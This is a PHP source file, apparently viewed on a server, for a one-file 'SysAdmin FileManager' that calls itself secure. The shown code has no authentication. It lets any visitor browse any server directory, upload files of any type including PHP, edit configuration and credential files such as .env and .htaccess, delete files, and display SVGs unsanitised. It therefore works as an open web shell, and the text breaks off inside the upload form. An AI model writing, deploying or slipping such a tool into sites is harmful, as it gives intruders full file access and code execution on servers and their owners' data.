đī¸ View: aa_beta.php
<?php
/**
* SysAdmin File Manager - Complete Secure Version
* Features: Upload, Download, Edit, View, Create, Rename, Delete
* No eval(), no shell_exec(), clean code
*/
// --- Configuration ---
$config = array(
'app_name' => 'SysAdmin FileManager',
'session_duration' => 3600 * 24 * 7,
'debug_mode' => false,
'start_dir' => __DIR__,
'allowed_extensions' => array(), // Empty = allow all
'max_upload_size' => 1024 * 1024 * 1024, // 1GB
'editable_extensions' => array(
'txt', 'log', 'md', 'csv', 'json', 'xml', 'yaml', 'yml',
'php', 'phtml', 'php3', 'php4', 'php5', 'php7', 'php8',
'html', 'htm', 'xhtml', 'css', 'scss', 'sass', 'less',
'js', 'jsx', 'ts', 'tsx', 'vue', 'angular',
'py', 'rb', 'pl', 'sh', 'bash', 'zsh',
'c', 'cpp', 'h', 'hpp', 'java', 'cs', 'go', 'rs', 'swift',
'sql', 'env', 'htaccess', 'conf', 'cfg', 'ini', 'properties',
'gitignore', 'dockerfile', 'makefile', 'editorconfig',
'tpl', 'smarty', 'twig', 'blade', 'latte',
'vue', 'svelte', 'astro'
),
'viewable_mime_types' => array(
'text/', 'application/json', 'application/xml', 'application/javascript',
'application/x-javascript', 'application/xhtml+xml', 'image/', 'application/pdf'
),
'image_extensions' => array('jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg', 'ico', 'tiff', 'tif')
);
// --- Initialization ---
@set_time_limit(0);
@ini_set('upload_max_filesize', '1024M');
@ini_set('post_max_size', '1024M');
@ini_set('memory_limit', '512M');
define('DS', DIRECTORY_SEPARATOR);
// Session Setup
if (session_status() === PHP_SESSION_NONE) {
session_set_cookie_params([
'lifetime' => $config['session_duration'],
'path' => '/',
'secure' => !empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off',
'httponly' => true,
'samesite' => 'Lax'
]);
session_start();
}
// Security Token
if (empty($_SESSION['security_token'])) {
$_SESSION['security_token'] = bin2hex(random_bytes(32));
}
$security_token = $_SESSION['security_token'];
// --- Helper Functions ---
function clean_input($data) {
if (is_array($data)) return array_map('clean_input', $data);
$data = trim($data);
if (function_exists('get_magic_quotes_gpc') && get_magic_quotes_gpc()) {
$data = stripslashes($data);
}
return $data;
}
function sanitize_output($data) {
return htmlspecialchars($data, ENT_QUOTES, 'UTF-8');
}
$_GET = clean_input($_GET);
$_POST = clean_input($_POST);
// Error Reporting
if ($config['debug_mode']) {
error_reporting(E_ALL);
ini_set('display_errors', '1');
} else {
error_reporting(0);
ini_set('display_errors', '0');
}
function verify_token($token) {
return isset($_SESSION['security_token']) && hash_equals($_SESSION['security_token'], $token);
}
function format_size($bytes) {
if ($bytes === false) return 'N/A';
if ($bytes <= 0) return '0 B';
$units = array('B', 'KB', 'MB', 'GB', 'TB');
$base = log($bytes, 1024);
return round(pow(1024, $base - floor($base)), 2) . ' ' . $units[floor($base)];
}
function get_perms($file) {
if (!file_exists($file)) return '---------';
$perms = @fileperms($file);
if ($perms === false) return '---------';
$type = '-';
if (($perms & 0xC000) == 0xC000) $type = 's';
elseif (($perms & 0xA000) == 0xA000) $type = 'l';
elseif (($perms & 0x6000) == 0x6000) $type = 'b';
elseif (($perms & 0x4000) == 0x4000) $type = 'd';
$info = $type;
$info .= (($perms & 00400) ? 'r' : '-');
$info .= (($perms & 00200) ? 'w' : '-');
$info .= (($perms & 00100) ? 'x' : '-');
$info .= (($perms & 00040) ? 'r' : '-');
$info .= (($perms & 00020) ? 'w' : '-');
$info .= (($perms & 00010) ? 'x' : '-');
$info .= (($perms & 00004) ? 'r' : '-');
$info .= (($perms & 00002) ? 'w' : '-');
$info .= (($perms & 00001) ? 'x' : '-');
return $info;
}
function get_owner_name($file) {
if (function_exists('posix_getpwuid') && function_exists('posix_getgrgid')) {
$owner = @posix_getpwuid(@fileowner($file));
$group = @posix_getgrgid(@filegroup($file));
return trim(($owner['name'] ?? 'N/A') . ':' . ($group['name'] ?? 'N/A'), ':');
}
return 'N/A';
}
function get_file_extension($filename) {
return strtolower(pathinfo($filename, PATHINFO_EXTENSION));
}
function is_editable($filename) {
global $config;
$ext = get_file_extension($filename);
$name_lower = strtolower(basename($filename));
// Check extension
if (in_array($ext, $config['editable_extensions'])) return true;
// Check special filenames without extension
$special_files = array('.htaccess', '.env', '.gitignore', 'dockerfile', 'makefile', '.editorconfig', '.bashrc', '.bash_profile', '.zshrc', '.profile');
if (in_array($name_lower, $special_files)) return true;
return false;
}
function is_image_file($filename) {
global $config;
return in_array(get_file_extension($filename), $config['image_extensions']);
}
function get_mime_type($filepath) {
if (function_exists('mime_content_type')) {
$mime = @mime_content_type($filepath);
if ($mime) return $mime;
}
if (function_exists('finfo_open')) {
$finfo = @finfo_open(FILEINFO_MIME_TYPE);
if ($finfo) {
$mime = @finfo_file($finfo, $filepath);
@finfo_close($finfo);
if ($mime) return $mime;
}
}
return 'application/octet-stream';
}
function is_binary_content($content) {
if (empty($content)) return false;
// Check for null bytes and other binary indicators
return preg_match('/[\x00-\x08\x0B\x0C\x0E-\x1F]/', $content) > 0;
}
function delete_directory($dir) {
if (!file_exists($dir)) return true;
if (!is_dir($dir)) return @unlink($dir);
$items = @scandir($dir);
if ($items === false) return false;
foreach ($items as $item) {
if ($item === '.' || $item === '..') continue;
$path = $dir . DS . $item;
if (is_dir($path)) {
if (!delete_directory($path)) return false;
} else {
if (!@unlink($path)) return false;
}
}
return @rmdir($dir);
}
function safe_download_file($filepath, $filename) {
if (!file_exists($filepath) || !is_readable($filepath)) {
return false;
}
$mime = get_mime_type($filepath);
$size = @filesize($filepath);
// Clear output buffer
while (ob_get_level()) {
ob_end_clean();
}
// Set headers
header('Content-Type: ' . $mime);
header('Content-Disposition: attachment; filename="' . addslashes($filename) . '"');
header('Content-Transfer-Encoding: binary');
header('Content-Length: ' . $size);
header('Cache-Control: no-cache, must-revalidate');
header('Pragma: no-cache');
header('Expires: 0');
// Read file in chunks for large files
$handle = @fopen($filepath, 'rb');
if ($handle === false) return false;
while (!feof($handle)) {
echo fread($handle, 8192);
flush();
}
@fclose($handle);
return true;
}
function create_directory_path($path) {
if (is_dir($path)) return true;
$parent = dirname($path);
if (!create_directory_path($parent)) return false;
return @mkdir($path, 0755);
}
// --- Core Logic ---
$self = basename($_SERVER['PHP_SELF']);
$message = '';
$message_type = 'info';
$view_content = '';
$edit_content = '';
$edit_filename = '';
// Determine current directory
$current_dir = realpath($config['start_dir']);
if ($current_dir === false) {
$current_dir = dirname(__FILE__);
$current_dir = realpath($current_dir);
}
if ($current_dir === false) {
$current_dir = DS;
}
// Handle directory change from GET
if (isset($_GET['cd']) && !empty($_GET['cd'])) {
$req_dir = $_GET['cd'];
$real_req = @realpath($req_dir);
if ($real_req !== false && is_dir($real_req)) {
$current_dir = $real_req;
}
} elseif (isset($_SESSION['current_dir']) && is_dir($_SESSION['current_dir'])) {
$current_dir = realpath($_SESSION['current_dir']);
if ($current_dir === false) $current_dir = DS;
}
$_SESSION['current_dir'] = $current_dir;
$parent_dir = dirname($current_dir);
$has_parent = ($parent_dir !== $current_dir && $parent_dir !== false);
// --- Handle POST Actions ---
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$token_valid = isset($_POST['security_token']) && verify_token($_POST['security_token']);
if (!$token_valid) {
$message = "Invalid Security Token. Please refresh the page.";
$message_type = 'error';
} else {
// UPLOAD
if (isset($_FILES['upload_file']) && !empty($_FILES['upload_file']['name'])) {
$upload_error = $_FILES['upload_file']['error'];
$original_name = basename($_FILES['upload_file']['name']);
$file_info = pathinfo($original_name);
$ext = strtolower($file_info['extension'] ?? '');
$dest = $current_dir . DS . $original_name;
// Check upload errors
switch ($upload_error) {
case UPLOAD_ERR_INI_SIZE:
$message = "File exceeds upload_max_filesize directive.";
$message_type = 'error';
break;
case UPLOAD_ERR_FORM_SIZE:
$message = "File exceeds MAX_FILE_SIZE directive.";
$message_type = 'error';
break;
case UPLOAD_ERR_PARTIAL:
$message = "File was only partially uploaded.";
$message_type = 'error';
break;
case UPLOAD_ERR_NO_FILE:
$message = "No file was uploaded.";
$message_type = 'error';
break;
case UPLOAD_ERR_NO_TMP_DIR:
$message = "Missing temporary folder.";
$message_type = 'error';
break;
case UPLOAD_ERR_CANT_WRITE:
$message = "Failed to write file to disk.";
$message_type = 'error';
break;
case UPLOAD_ERR_EXTENSION:
$message = "Upload stopped by extension.";
$message_type = 'error';
break;
case UPLOAD_ERR_OK:
// Check extension
$allowed = empty($config['allowed_extensions']) || in_array($ext, $config['allowed_extensions']);
if (!$allowed) {
$message = "Extension '$ext' is not allowed.";
$message_type = 'error';
} else {
// Check file size
$file_size = $_FILES['upload_file']['size'];
if ($file_size > $config['max_upload_size']) {
$message = "File size exceeds maximum limit (" . format_size($config['max_upload_size']) . ").";
$message_type = 'error';
} else {
$tmp_name = $_FILES['upload_file']['tmp_name'];
$upload_success = false;
$error_detail = '';
// Method 1: Standard move_uploaded_file
if (@move_uploaded_file($tmp_name, $dest)) {
$upload_success = true;
} else {
$error_detail = error_get_last()['message'] ?? 'Unknown error';
// Method 2: Copy then delete
if (@copy($tmp_name, $dest)) {
@unlink($tmp_name);
$upload_success = true;
} else {
$error_detail = error_get_last()['message'] ?? $error_detail;
// Method 3: Stream copy
if (is_uploaded_file($tmp_name)) {
$src = @fopen($tmp_name, 'rb');
$dst = @fopen($dest, 'wb');
if ($src && $dst) {
while (!feof($src)) {
$buffer = fread($src, 8192);
if ($buffer === false) break;
fwrite($dst, $buffer);
}
fclose($src);
fclose($dst);
@unlink($tmp_name);
$upload_success = true;
} else {
if ($src) @fclose($src);
if ($dst) @fclose($dst);
}
}
}
}
if ($upload_success) {
@chmod($dest, 0644);
$message = "File '$original_name' uploaded successfully.";
$message_type = 'success';
} else {
$message = "Upload failed. Details: " . $error_detail;
$message_type = 'error';
}
}
}
break;
}
}
// CREATE DIRECTORY
if (isset($_POST['mkdir']) && !empty($_POST['mkdir'])) {
$dir_name = basename(trim($_POST['mkdir']));
if (empty($dir_name)) {
$message = "Folder name cannot be empty.";
$message_type = 'error';
} else {
$new_path = $current_dir . DS . $dir_name;
if (file_exists($new_path)) {
$message = "Folder '$dir_name' already exists.";
$message_type = 'error';
} else {
if (@mkdir($new_path, 0755, true)) {
@chmod($new_path, 0755);
$message = "Folder '$dir_name' created successfully.";
$message_type = 'success';
} else {
$err = error_get_last();
$message = "Failed to create folder. " . ($err['message'] ?? 'Permission denied.');
$message_type = 'error';
}
}
}
}
// CREATE FILE
if (isset($_POST['create_file']) && !empty($_POST['create_file'])) {
$file_name = basename(trim($_POST['create_file']));
if (empty($file_name)) {
$message = "File name cannot be empty.";
$message_type = 'error';
} else {
$new_path = $current_dir . DS . $file_name;
if (file_exists($new_path)) {
$message = "File '$file_name' already exists.";
$message_type = 'error';
} else {
$handle = @fopen($new_path, 'w');
if ($handle) {
fclose($handle);
@chmod($new_path, 0644);
$message = "File '$file_name' created successfully.";
$message_type = 'success';
} else {
$err = error_get_last();
$message = "Failed to create file. " . ($err['message'] ?? 'Permission denied.');
$message_type = 'error';
}
}
}
}
// RENAME
if (isset($_POST['rename_from']) && isset($_POST['rename_to'])) {
$old_name = basename(trim($_POST['rename_from']));
$new_name = basename(trim($_POST['rename_to']));
if (empty($old_name) || empty($new_name)) {
$message = "Names cannot be empty.";
$message_type = 'error';
} else {
$old_path = $current_dir . DS . $old_name;
$new_path = $current_dir . DS . $new_name;
if (!file_exists($old_path)) {
$message = "Source '$old_name' not found.";
$message_type = 'error';
} elseif ($old_path === $new_path) {
$message = "Source and destination are the same.";
$message_type = 'error';
} elseif (file_exists($new_path)) {
$message = "Target '$new_name' already exists.";
$message_type = 'error';
} else {
if (@rename($old_path, $new_path)) {
$message = "Renamed '$old_name' to '$new_name'.";
$message_type = 'success';
} else {
$err = error_get_last();
$message = "Rename failed. " . ($err['message'] ?? 'Permission denied.');
$message_type = 'error';
}
}
}
}
// SAVE EDIT
if (isset($_POST['save_edit']) && isset($_POST['edit_content']) && isset($_POST['edit_filename'])) {
$filename = basename(trim($_POST['edit_filename']));
$content = $_POST['edit_content'];
$filepath = $current_dir . DS . $filename;
if (!file_exists($filepath)) {
$message = "File '$filename' not found.";
$message_type = 'error';
} else {
// Decode HTML entities back to actual content
$content = html_entity_decode($content, ENT_QUOTES, 'UTF-8');
$result = @file_put_contents($filepath, $content);
if ($result !== false) {
$message = "File '$filename' saved successfully.";
$message_type = 'success';
} else {
$err = error_get_last();
$message = "Failed to save file. " . ($err['message'] ?? 'Permission denied or disk full.');
$message_type = 'error';
}
}
}
}
}
// --- Handle GET Actions ---
if ($_SERVER['REQUEST_METHOD'] === 'GET') {
// DELETE
if (isset($_GET['delete']) && isset($_GET['token'])) {
if (verify_token($_GET['token'])) {
$target_name = basename($_GET['delete']);
$target_path = $current_dir . DS . $target_name;
if (!file_exists($target_path)) {
$message = "Item '$target_name' not found.";
$message_type = 'error';
} else {
if (is_dir($target_path)) {
if (delete_directory($target_path)) {
$message = "Directory '$target_name' deleted.";
$message_type = 'success';
} else {
$err = error_get_last();
$message = "Failed to delete directory. " . ($err['message'] ?? 'Check permissions.');
$message_type = 'error';
}
} else {
if (@unlink($target_path)) {
$message = "File '$target_name' deleted.";
$message_type = 'success';
} else {
$err = error_get_last();
$message = "Failed to delete file. " . ($err['message'] ?? 'Permission denied.');
$message_type = 'error';
}
}
}
} else {
$message = "Invalid security token.";
$message_type = 'error';
}
}
// DOWNLOAD
if (isset($_GET['download']) && isset($_GET['token'])) {
if (verify_token($_GET['token'])) {
$filename = basename($_GET['download']);
$filepath = $current_dir . DS . $filename;
if (file_exists($filepath) && is_file($filepath) && is_readable($filepath)) {
safe_download_file($filepath, $filename);
exit;
} else {
$message = "File '$filename' not found or not readable.";
$message_type = 'error';
}
} else {
$message = "Invalid security token.";
$message_type = 'error';
}
}
// VIEW FILE
if (isset($_GET['view'])) {
$filename = basename($_GET['view']);
$filepath = $current_dir . DS . $filename;
if (!file_exists($filepath)) {
$view_content = "<div class='error-box'>File not found.</div>";
} elseif (!is_readable($filepath)) {
$view_content = "<div class='error-box'>Cannot read file (Permission denied).</div>";
} else {
$mime = get_mime_type($filepath);
$ext = get_file_extension($filename);
// Image files
if (is_image_file($filename)) {
if ($ext === 'svg') {
$svg_content = @file_get_contents($filepath);
$view_content = "<div style='text-align:center; padding:20px;'>" . $svg_content . "</div>";
} else {
$view_content = "<div style='text-align:center; padding:20px;'><img src='data:" . $mime . ";base64," . base64_encode(@file_get_contents($filepath)) . "' style='max-width:100%; max-height:80vh; border:1px solid #e2e8f0; border-radius:4px;'></div>";
}
}
// PDF files
elseif ($mime === 'application/pdf') {
$view_content = "<div style='text-align:center; padding:20px;'><embed src='data:application/pdf;base64," . base64_encode(@file_get_contents($filepath)) . "' type='application/pdf' width='100%' height='600px'><p><a href='?download=" . urlencode($filename) . "&token=" . $security_token . "' class='btn btn-primary'>Download PDF</a></p></div>";
}
// Video files
elseif (strpos($mime, 'video/') === 0) {
$view_content = "<div style='text-align:center; padding:20px;'><video controls style='max-width:100%;'><source src='data:" . $mime . ";base64," . base64_encode(@file_get_contents($filepath)) . "' type='" . $mime . "'></video></div>";
}
// Audio files
elseif (strpos($mime, 'audio/') === 0) {
$view_content = "<div style='text-align:center; padding:20px;'><audio controls style='width:100%;'><source src='data:" . $mime . ";base64," . base64_encode(@file_get_contents($filepath)) . "' type='" . $mime . "'></audio></div>";
}
// Text-based files
else {
$content = @file_get_contents($filepath);
if ($content === false) {
$view_content = "<div class='error-box'>Cannot read file content.</div>";
} elseif (is_binary_content($content)) {
$view_content = "<div class='error-box'>Binary file - cannot display as text. <a href='?download=" . urlencode($filename) . "&token=" . $security_token . "' class='btn btn-primary' style='margin-top:10px;'>Download File</a></div>";
} else {
// Syntax highlighting for code files
$code_extensions = array('php', 'html', 'htm', 'css', 'js', 'json', 'xml', 'sql', 'py', 'rb', 'sh', 'bash', 'yaml', 'yml', 'md', 'c', 'cpp', 'java', 'go', 'rs', 'ts', 'vue', 'jsx', 'tsx');
if (in_array($ext, $code_extensions)) {
$view_content = "<pre class='code-view'><code class='language-" . sanitize_output($ext) . "'>" . sanitize_output($content) . "</code></pre>";
} else {
$view_content = "<pre class='text-view'>" . sanitize_output($content) . "</pre>";
}
$file_size = @filesize($filepath);
$view_content .= "<div class='file-info-bar'>";
$view_content .= "<span>Size: " . format_size($file_size) . "</span>";
$view_content .= "<span>MIME: " . $mime . "</span>";
$view_content .= "<span>Lines: " . substr_count($content, "\n") . "</span>";
$view_content .= "</div>";
}
}
}
}
// EDIT FILE
if (isset($_GET['edit'])) {
$filename = basename($_GET['edit']);
$filepath = $current_dir . DS . $filename;
if (!file_exists($filepath)) {
$message = "File '$filename' not found.";
$message_type = 'error';
} elseif (!is_readable($filepath)) {
$message = "Cannot read file '$filename' (Permission denied).";
$message_type = 'error';
} elseif (!is_writable($filepath)) {
$message = "File '$filename' is not writable.";
$message_type = 'error';
} else {
$content = @file_get_contents($filepath);
if ($content === false) {
$message = "Cannot read file content.";
$message_type = 'error';
} elseif (is_binary_content($content)) {
$message = "Binary files cannot be edited as text.";
$message_type = 'error';
} else {
$edit_content = $content;
$edit_filename = $filename;
}
}
}
}
// --- Breadcrumb Function ---
function create_breadcrumbs($path) {
global $self, $security_token;
$parts = explode(DS, $path);
$build = '';
$html = '<nav class="breadcrumbs">';
$html .= '<a href="?cd=' . urlencode(DS) . '&token=' . $security_token . '" class="crumb-root">/ Root</a>';
if (!empty($parts[0])) {
// Windows path like C:\
$build = $parts[0];
$html .= ' <span class="crumb-sep">/</span> ';
$html .= '<a href="?cd=' . urlencode($build) . '&token=' . $security_token . '" class="crumb-link">' . sanitize_output($parts[0]) . '</a>';
array_shift($parts);
} else {
array_shift($parts); // Remove empty first element from Unix paths
}
foreach ($parts as $i => $part) {
if (empty($part)) continue;
$build .= DS . $part;
$html .= ' <span class="crumb-sep">/</span> ';
if ($i === count($parts) - 1) {
$html .= '<span class="crumb-current">' . sanitize_output($part) . '</span>';
} else {
$html .= '<a href="?cd=' . urlencode($build) . '&token=' . $security_token . '" class="crumb-link">' . sanitize_output($part) . '</a>';
}
}
$html .= '</nav>';
return $html;
}
// --- Get file icon based on extension ---
function get_file_icon($filename) {
$ext = get_file_extension($filename);
$icons = array(
'php' => 'đ', 'phtml' => 'đ',
'html' => 'đ', 'htm' => 'đ', 'xhtml' => 'đ',
'css' => 'đ¨', 'scss' => 'đ¨', 'sass' => 'đ¨', 'less' => 'đ¨',
'js' => 'đ', 'jsx' => 'âī¸', 'ts' => 'đ', 'tsx' => 'âī¸',
'json' => 'đ', 'xml' => 'đ', 'yaml' => 'đ', 'yml' => 'đ',
'py' => 'đ', 'rb' => 'đ', 'java' => 'â', 'go' => 'đĩ',
'rs' => 'đĻ', 'c' => 'âī¸', 'cpp' => 'âī¸', 'h' => 'âī¸',
'sql' => 'đī¸', 'db' => 'đī¸', 'sqlite' => 'đī¸',
'md' => 'đ', 'txt' => 'đ', 'log' => 'đ',
'jpg' => 'đŧī¸', 'jpeg' => 'đŧī¸', 'png' => 'đŧī¸', 'gif' => 'đŧī¸',
'webp' => 'đŧī¸', 'svg' => 'đŧī¸', 'bmp' => 'đŧī¸', 'ico' => 'đŧī¸',
'mp4' => 'đŦ', 'avi' => 'đŦ', 'mkv' => 'đŦ', 'mov' => 'đŦ', 'webm' => 'đŦ',
'mp3' => 'đĩ', 'wav' => 'đĩ', 'ogg' => 'đĩ', 'flac' => 'đĩ',
'pdf' => 'đ', 'doc' => 'đ', 'docx' => 'đ',
'xls' => 'đ', 'xlsx' => 'đ', 'csv' => 'đ',
'ppt' => 'đ', 'pptx' => 'đ',
'zip' => 'đĻ', 'rar' => 'đĻ', 'tar' => 'đĻ', 'gz' => 'đĻ', '7z' => 'đĻ',
'env' => 'đ', 'htaccess' => 'đ', 'conf' => 'âī¸', 'ini' => 'âī¸', 'cfg' => 'âī¸',
'sh' => 'đģ', 'bash' => 'đģ', 'zsh' => 'đģ',
'dockerfile' => 'đŗ', 'gitignore' => 'đĻ',
);
return $icons[$ext] ?? $icons[strtolower(basename($filename))] ?? 'đ';
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title><?php echo sanitize_output($config['app_name']); ?></title>
<style>
:root {
--primary: #2563eb;
--primary-hover: #1d4ed8;
--primary-light: #dbeafe;
--bg-body: #f1f5f9;
--bg-card: #ffffff;
--text-main: #1e293b;
--text-muted: #64748b;
--border: #e2e8f0;
--danger: #ef4444;
--danger-hover: #dc2626;
--success: #10b981;
--warning: #f59e0b;
--info: #0ea5e9;
}
* { box-sizing: border-box; }
body {
font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, 'Helvetica Neue', Arial, sans-serif;
background: var(--bg-body);
color: var(--text-main);
margin: 0;
padding: 15px;
line-height: 1.5;
}
.container {
max-width: 1200px;
margin: 0 auto;
background: var(--bg-card);
border-radius: 12px;
box-shadow: 0 4px 6px -1px rgba(0,0,0,0.1), 0 2px 4px -1px rgba(0,0,0,0.06);
overflow: hidden;
}
.header {
background: linear-gradient(135deg, var(--primary) 0%, #1e40af 100%);
color: white;
padding: 18px 25px;
display: flex;
justify-content: space-between;
align-items: center;
}
.header h1 { margin: 0; font-size: 1.3rem; font-weight: 600; }
.header .meta { font-size: 0.8rem; opacity: 0.85; text-align: right; }
.top-bar {
padding: 12px 20px;
border-bottom: 1px solid var(--border);
background: #f8fafc;
display: flex;
align-items: center;
justify-content: space-between;
flex-wrap: wrap;
gap: 10px;
}
.breadcrumbs {
font-size: 0.85rem;
color: var(--text-muted);
overflow-x: auto;
white-space: nowrap;
flex: 1;
}
.crumb-link, .crumb-root {
color: var(--primary);
text-decoration: none;
font-weight: 500;
}
.crumb-link:hover, .crumb-root:hover { text-decoration: underline; }
.crumb-current { color: var(--text-main); font-weight: 700; }
.crumb-sep { margin: 0 4px; color: #cbd5e1; }
.actions { display: flex; gap: 8px; flex-wrap: wrap; }
.btn {
padding: 7px 14px;
border-radius: 6px;
border: none;
font-size: 0.85rem;
cursor: pointer;
text-decoration: none;
display: inline-flex;
align-items: center;
gap: 5px;
transition: all 0.2s;
white-space: nowrap;
font-weight: 500;
}
.btn-primary { background: var(--primary); color: white; }
.btn-primary:hover { background: var(--primary-hover); }
.btn-secondary { background: white; border: 1px solid var(--border); color: var(--text-main); }
.btn-secondary:hover { background: #f1f5f9; border-color: #cbd5e1; }
.btn-danger { background: var(--danger); color: white; }
.btn-danger:hover { background: var(--danger-hover); }
.btn-success { background: var(--success); color: white; }
.btn-success:hover { background: #059669; }
.btn-warning { background: var(--warning); color: white; }
.btn-warning:hover { background: #d97706; }
.btn-sm { padding: 4px 10px; font-size: 0.8rem; }
.content { padding: 20px; }
.file-table {
width: 100%;
border-collapse: collapse;
font-size: 0.85rem;
}
.file-table th {
text-align: left;
padding: 10px 12px;
border-bottom: 2px solid var(--border);
color: var(--text-muted);
font-weight: 600;
background: #f8fafc;
font-size: 0.8rem;
text-transform: uppercase;
letter-spacing: 0.5px;
}
.file-table td {
padding: 10px 12px;
border-bottom: 1px solid var(--border);
vertical-align: middle;
}
.file-table tbody tr:hover { background: #f8fafc; }
.file-name {
font-weight: 500;
color: var(--text-main);
text-decoration: none;
display: inline-flex;
align-items: center;
gap: 8px;
}
.file-name:hover { color: var(--primary); }
.file-icon { font-size: 1.2rem; }
.icon-dir { color: #f59e0b; }
.action-links { display: flex; gap: 6px; flex-wrap: wrap; }
.action-link {
color: var(--text-muted);
font-size: 0.78rem;
text-decoration: none;
cursor: pointer;
padding: 2px 8px;
border-radius: 4px;
transition: all 0.2s;
}
.action-link:hover { background: var(--primary-light); color: var(--primary); }
.action-delete { color: var(--danger); }
.action-delete:hover { background: #fee2e2; color: var(--danger-hover); }
.form-panel {
background: #f8fafc;
border: 1px solid var(--border);
padding: 20px;
border-radius: 8px;
margin-bottom: 20px;
}
.form-panel h3 { margin: 0 0 15px 0; font-size: 1.1rem; }
.form-row {
display: flex;
gap: 10px;
align-items: center;
}
.input-control {
padding: 8px 12px;
border: 1px solid var(--border);
border-radius: 6px;
font-size: 0.9rem;
flex: 1;
transition: border-color 0.2s;
}
.input-control:focus {
outline: none;
border-color: var(--primary);
box-shadow: 0 0 0 3px rgba(37, 99, 235, 0.1);
}
.info-box {
background: #e0f2fe;
border-left: 4px solid var(--info);
padding: 15px;
border-radius: 4px;
font-size: 0.9rem;
}
.error-box {
background: #fee2e2;
border-left: 4px solid var(--danger);
padding: 15px;
border-radius: 4px;
color: #991b1b;
}
.success-box {
background: #d1fae5;
border-left: 4px solid var(--success);
padding: 15px;
border-radius: 4px;
color: #065f46;
}
.toast-container {
position: fixed;
top: 20px;
right: 20px;
z-index: 9999;
width: 350px;
}
.toast {
background: white;
padding: 14px 18px;
border-radius: 8px;
box-shadow: 0 10px 15px -3px rgba(0,0,0,0.1);
margin-bottom: 10px;
border-left: 4px solid var(--primary);
animation: slideIn 0.3s ease;
display: flex;
align-items: center;
gap: 10px;
font-size: 0.9rem;
}
.toast.success { border-left-color: var(--success); }
.toast.error { border-left-color: var(--danger); }
.toast.warning { border-left-color: var(--warning); }
.code-view, .text-view {
background: #1e293b;
color: #e2e8f0;
padding: 20px;
border-radius: 6px;
overflow-x: auto;
font-family: 'Fira Code', 'Cascadia Code', 'Consolas', monospace;
font-size: 0.85rem;
line-height: 1.6;
max-height: 70vh;
overflow-y: auto;
white-space: pre-wrap;
word-wrap: break-word;
}
.text-view {
background: #fefce8;
color: #1e293b;
border: 1px solid var(--border);
}
.file-info-bar {
display: flex;
gap: 20px;
padding: 10px 15px;
background: #f1f5f9;
border-radius: 4px;
margin-top: 10px;
font-size: 0.8rem;
color: var(--text-muted);
}
.editor-container {
position: relative;
}
.editor-textarea {
width: 100%;
min-height: 500px;
padding: 15px;
border: 1px solid var(--border);
border-radius: 6px;
font-family: 'Fira Code', 'Cascadia Code', 'Consolas', monospace;
font-size: 0.9rem;
line-height: 1.5;
resize: vertical;
tab-size: 4;
background: #1e293b;
color: #e2e8f0;
}
.editor-textarea:focus {
outline: none;
border-color: var(--primary);
box-shadow: 0 0 0 3px rgba(37, 99, 235, 0.2);
}
.editor-actions {
display: flex;
gap: 10px;
margin-top: 15px;
padding-top: 15px;
border-top: 1px solid var(--border);
}
.modal-overlay {
position: fixed;
top: 0;
left: 0;
width: 100%;
height: 100%;
background: rgba(0,0,0,0.5);
z-index: 1000;
display: none;
align-items: center;
justify-content: center;
}
.modal {
background: white;
padding: 25px;
border-radius: 10px;
width: 420px;
max-width: 90%;
z-index: 1001;
box-shadow: 0 20px 25px -5px rgba(0,0,0,0.1);
}
.modal h3 { margin: 0 0 15px 0; }
.rename-input {
width: 100%;
padding: 10px 12px;
border: 1px solid var(--border);
border-radius: 6px;
font-size: 1rem;
margin: 10px 0;
}
.rename-input:focus {
outline: none;
border-color: var(--primary);
box-shadow: 0 0 0 3px rgba(37, 99, 235, 0.1);
}
.modal-actions {
display: flex;
justify-content: flex-end;
gap: 10px;
margin-top: 20px;
}
.quick-actions {
display: flex;
gap: 8px;
margin-bottom: 20px;
flex-wrap: wrap;
}
.quick-actions form { flex: 1; min-width: 200px; }
.perm-cell {
font-family: 'Fira Code', monospace;
font-size: 0.75rem;
color: var(--text-muted);
}
.owner-cell {
font-size: 0.75rem;
color: var(--text-muted);
}
.size-cell {
font-family: 'Fira Code', monospace;
font-size: 0.8rem;
}
.date-cell {
font-size: 0.8rem;
color: var(--text-muted);
}
.empty-state {
text-align: center;
padding: 40px;
color: var(--text-muted);
}
.empty-state-icon { font-size: 3rem; margin-bottom: 10px; }
@keyframes slideIn {
from { transform: translateX(100%); opacity: 0; }
to { transform: translateX(0); opacity: 1; }
}
@media (max-width: 768px) {
.header { flex-direction: column; gap: 10px; text-align: center; }
.top-bar { flex-direction: column; align-items: stretch; }
.actions { justify-content: center; }
.file-table { font-size: 0.75rem; }
.file-table th:nth-child(3), .file-table td:nth-child(3),
.file-table th:nth-child(4), .file-table td:nth-child(4) { display: none; }
}
</style>
</head>
<body>
<div class="container">
<div class="header">
<h1>đ <?php echo sanitize_output($config['app_name']); ?></h1>
<div class="meta">
<?php echo sanitize_output(php_uname('s') . ' ' . php_uname('r')); ?> | PHP <?php echo PHP_VERSION; ?>
</div>
</div>
<div class="top-bar">
<?php echo create_breadcrumbs($current_dir); ?>
<div class="actions">
<a href="?" class="btn btn-secondary">đ Files</a>
<a href="?action=upload" class="btn btn-secondary">đ¤ Upload</a>
<a href="?action=create" class="btn btn-secondary">â New</a>
<a href="?action=info" class="btn btn-secondary">âšī¸ Info</a>
<?php if ($has_parent): ?>
<a href="?cd=<?php echo urlencode($parent_dir); ?>&token=<?php echo $security_token; ?>" class="btn btn-secondary">âŦī¸ Up</a>
<?php endif; ?>
</div>
</div>
<div class="content">
<div class="toast-container" id="toastContainer">
<?php if ($message): ?>
<div class="toast <?php echo $message_type; ?>">
<span><?php echo sanitize_output($message); ?></span>
</div>
<?php endif; ?>
</div>
<?php if (isset($_GET['action']) && $_GET['action'] == 'upload'): ?>
<div class="form-panel">
<h3>đ¤ Upload File</h3>
<p style="font-size:0.85rem; color:var(--text-muted); margin-bottom:15px;">
Target: <strong><?php echo sanitize_output($current_dir); ?></strong><br>
Max size: <?php echo format_size($config['max_upload_size']); ?>
<?php if (!empty($config['allowed_extensions'])): ?>
| Allowed: <?php echo implode(', ', $config['allowed_extensions']); ?>
<?php endif; ?>
</p>
<form method="post" enctype="multipart/form-data" id="uploadForm">
<input type="hidden" name="security_token" value="<?php echo $security_token; ?>">
<div class="form-row">
<input type="file" name="upload_file" class="input-control" required>
